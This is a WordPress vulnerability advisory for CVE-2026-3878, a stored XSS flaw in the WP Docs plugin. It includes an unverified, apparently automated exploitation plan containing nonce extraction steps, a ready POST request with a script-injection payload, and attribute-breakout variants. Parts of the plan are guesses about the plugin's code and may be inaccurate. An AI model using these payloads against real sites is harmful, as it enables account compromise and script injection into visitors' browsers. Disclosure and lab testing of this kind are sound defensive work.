CVE-2026-3878

WP Docs <= 2.2.9 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'wpdocs_options[icon_size]'

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.3.0
Patched in
1d
Time to patch

Description

The WP Docs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpdocs_options[icon_size]' parameter in all versions up to, and including, 2.2.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.9
PublishedApril 15, 2026
Last updatedApril 16, 2026
Affected pluginwp-docs

What Changed in the Fix

Changes introduced in v2.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3878 - WP Docs Stored XSS ## 1. Vulnerability Summary The **WP Docs** plugin (up to 2.2.9) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to properly sanitize and escape the `icon_size` p…

Show full research plan

Exploitation Research Plan: CVE-2026-3878 - WP Docs Stored XSS

1. Vulnerability Summary

The WP Docs plugin (up to 2.2.9) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to properly sanitize and escape the icon_size parameter within the wpdocs_options array when saving settings via an AJAX handler, and subsequently fails to escape this value when rendering it in HTML attributes (likely style or class attributes for folder/file icons).

While settings are typically administrative, this vulnerability is exploitable by users with Subscriber-level access because the AJAX handler responsible for updating these options lacks a capability check (e.g., current_user_can('manage_options')), relying solely on a nonce that may be obtainable or bypassed.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wpdocs_update_options (Inferred from the nonce name wpdocs_update_options_nonce in inc/functions.php).
  • Vulnerable Parameter: wpdocs_options[icon_size]
  • Authentication Level: Subscriber or higher.
  • Payload Type: Attribute-based XSS (breaking out of a style or width/height attribute).

3. Code Flow

  1. Registration: The plugin registers an AJAX action (likely wp_ajax_wpdocs_update_options) in a part of the code not fully shown in the snippet, but confirmed by the nonce wpdocs_update_options_nonce localized in inc/functions.php.
  2. Input Processing: The handler receives the wpdocs_options array. It likely calls sanitize_wpdocs_data() (found in inc/functions.php).
  3. Sanitization Failure: sanitize_wpdocs_data() uses sanitize_text_field($val). This function strips HTML tags but does not escape quotes or semi-colons, which are necessary to prevent attribute breakout when the value is placed inside a style="..." attribute.
  4. Storage: The unsanitized value is saved to the database via update_option('wpdocs_options', ... ).
  5. Output: When a user views a page containing the WP Docs file explorer (via shortcode) or the admin settings page, the plugin retrieves the option and echoes it directly:
    • Example Sink: <i class="fa fa-folder" style="font-size: <?php echo $wpdocs_options['icon_size']; ?>;"></i> (No esc_attr or absint used).

4. Nonce Acquisition Strategy

The nonce is localized in inc/functions.php within the wpdocs_admin_enqueue_script function.

wp_localize_script(
    'wpdocs_admin_scripts',
    'wpdocs_ajax_object',
    array(
        // ...
        'nonce' => wp_create_nonce('wpdocs_update_options_nonce'),
        // ...
    )
);

Strategy:

  1. Identify Access: Determine if a Subscriber can access the settings page or if the script is enqueued on the frontend. The snippet shows a check: if (isset($_GET['page']) && $_GET['page'] == 'wpdocs').
  2. Bypass/Leaked Nonce: Check if the plugin enqueues this script on frontend pages where the [wpdocs] shortcode is present.
  3. Execution:
    • Create a page with the shortcode: wp post create --post_type=page --post_status=publish --post_content='[wpdocs]'
    • Navigate to that page as a Subscriber.
    • Use browser_eval to extract the nonce:
      browser_eval("window.wpdocs_ajax_object?.nonce")

5. Exploitation Strategy

Step 1: Authentication

Login as a Subscriber user to obtain a valid session.

Step 2: Nonce Extraction

Navigate to a page where WP Docs is active (or try the admin dashboard) and extract the wpdocs_update_options_nonce from the wpdocs_ajax_object global variable.

Step 3: Inject Payload

Send a POST request to admin-ajax.php.

  • Action: wpdocs_update_options
  • Parameter: wpdocs_options[icon_size]
  • Payload: 20px; background-image: url("javascript:alert(document.domain)"); or 20px"><script>alert(1)</script>

HTTP Request via http_request:

{
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "method": "POST",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=wpdocs_update_options&nonce=[EXTRACTED_NONCE]&wpdocs_options[icon_size]=20px\"><script>alert(window.origin)</script>"
}

Step 4: Trigger Execution

Navigate to the plugin's settings page or any page displaying the document library. The injected <script> tag will execute.

6. Test Data Setup

  1. User: Create a subscriber user: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
  2. Plugin Setup: Ensure the plugin is active.
  3. Shortcode Page: Create a page to potentially leak the nonce or view the results: wp post create --post_title="Documents" --post_content="[wpdocs]" --post_status="publish".

7. Expected Results

  • The AJAX request should return a success status (likely 1 or a JSON success message).
  • The wpdocs_options option in the database should now contain the payload.
  • Upon visiting the "Documents" page or the admin settings, an alert box showing the origin should appear.

8. Verification Steps

  1. Check Database: Use WP-CLI to verify the stored value:
    wp option get wpdocs_options
  2. Verify Output: Inspect the HTML source of the frontend page:
    http_request --url http://localhost:8080/documents/
    Search for the string: <script>alert(window.origin)</script>.

9. Alternative Approaches

  • If icon_size is filtered: Try injecting into other keys in the wpdocs_options array, such as title_size or CSS color settings (e.g., bg_color), which are often handled by the same logic.
  • If the AJAX action is different: Search the full source for wp_ajax_ to find the exact function handling the wpdocs_update_options_nonce.
  • Bypassing sanitize_text_field: If tags are stripped, focus on attribute breakout within an existing tag:
    20px" onmouseover="alert(1)" style="

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.